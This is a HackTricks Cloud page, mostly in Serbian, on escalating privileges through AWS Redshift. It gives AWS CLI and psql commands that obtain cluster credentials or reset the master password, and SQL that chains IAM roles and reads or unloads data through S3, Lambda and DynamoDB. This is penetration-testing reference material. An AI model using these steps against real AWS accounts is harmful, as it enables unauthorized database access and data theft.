AWS - Redshift Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Redshift
Za više informacija o RDS pogledajte:
redshift:DescribeClusters, redshift:GetClusterCredentials
Sa ovim permisijama možete dobiti informacije o svim klasterima (uključujući ime i korisničko ime klastera) i dobiti kredencijale za pristup:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Potencijalni uticaj: Pronaći osetljive informacije u bazama podataka.
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
Sa ovim dozvolama možete dobiti informacije o svim klasterima i pristupne podatke za pristup.
Imajte na umu da će postgres korisnik imati dozvole koje poseduje IAM identity koja je korišćena za dobijanje pristupnih podataka.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Mogući uticaj: Pronaći osetljive informacije u bazama podataka.
redshift:DescribeClusters, redshift:ModifyCluster?
Moguće je izmeniti master lozinku internog postgres (redshit) korisnika preko aws cli (mislim da su to dozvole koje su potrebne, ali ih još nisam testirao):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Potential Impact: Pronaći osetljive informacije u bazama podataka.
Pristupanje eksternim servisima
Warning
Da biste pristupili svim sledećim resursima, biće potrebno da navedete rolu koju ćete koristiti. A Redshift cluster može imati dodeljen spisak AWS rola koje možete koristiti ako znate ARN, ili jednostavno možete postaviti “default” da biste koristili podrazumevanu dodeljenu.
Štaviše, kao što je explained here, Redshift takođe omogućava spajanje rola (pod uslovom da prva može da preuzme drugu) da biste dobili dodatni pristup, samo ih odvojite zarezom:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
As explained in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, it’s possible to call a lambda function from redshift with something like:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Kao što je objašnjeno u https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, moguće je čitati i pisati u S3 buckets:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Kao što je objašnjeno u https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, moguće je dobiti podatke iz dynamodb:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
Warning
Amazon DynamoDB tabela koja obezbeđuje podatke mora biti kreirana u istoj AWS Region kao i vaš klaster osim ako ne koristite opciju REGION da biste specificirali AWS Region u kojoj se Amazon DynamoDB tabela nalazi.
EMR
Pogledajte https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
Reference
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

